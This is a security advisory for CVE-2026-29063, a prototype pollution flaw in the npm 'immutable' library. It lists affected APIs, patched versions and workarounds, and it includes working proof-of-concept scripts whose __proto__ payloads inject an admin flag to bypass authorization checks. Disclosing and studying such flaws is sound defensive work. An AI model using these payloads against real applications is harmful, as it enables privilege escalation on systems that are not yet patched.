GHSA-WF6X-7X77-MVGW
Vulnerability from github – Published: 2026-03-04 21:28 – Updated: 2026-03-06 22:51
VLAI?
Summary
Immutable is vulnerable to Prototype Pollution
Details
Impact
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes |
|---|---|
mergeDeep(target, source) |
Iterates source keys via ObjectSeq, assigns merged[key] |
mergeDeepWith(merger, target, source) |
Same code path |
merge(target, source) |
Shallow variant, same assignment logic |
Map.toJS() |
object[k] = v in toObject() with no __proto__ guard |
Map.toObject() |
Same toObject() implementation |
Map.mergeDeep(source) |
When source is converted to plain object |
Patches
Has the problem been patched? What versions should users upgrade to?
| major version | patched version |
|---|---|
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input
- Node.js flag --disable-proto
- Lock down built-in objects
- Avoid lookups on the prototype
- Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
References
Are there any links users can visit to find out more?
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "immutable"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-rc.1"
},
{
"fixed": "4.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "immutable"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "immutable"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29063"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:28:06Z",
"nvd_published_at": "2026-03-06T19:16:21Z",
"severity": "HIGH"
},
"details": "## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API | Notes |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)` | Same code path |\n| `merge(target, source)` | Shallow variant, same assignment logic |\n| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |\n| `Map.toObject()` | Same `toObject()` implementation |\n| `Map.mergeDeep(source)` | When source is converted to plain object |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 \u2014 mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n \u0027{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}\u0027,\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true \u2190 INJECTED via __proto__!\n\n// Common security checks \u2014 both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true \u2190 BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides \u0027admin\u0027\nconsole.log(\"Object.keys:\", Object.keys(merged)); // [\u0027id\u0027, \u0027name\u0027, \u0027role\u0027]\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 \u2014 All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}\u0027);\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse(\u0027{\"profile\":{\"__proto__\":{\"admin\":true}}}\u0027);\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined \u2190 global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)",
"id": "GHSA-wf6x-7x77-mvgw",
"modified": "2026-03-06T22:51:31Z",
"published": "2026-03-04T21:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29063"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/issues/2178"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/immutable-js/immutable-js"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"
},
{
"type": "WEB",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Immutable is vulnerable to Prototype Pollution"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…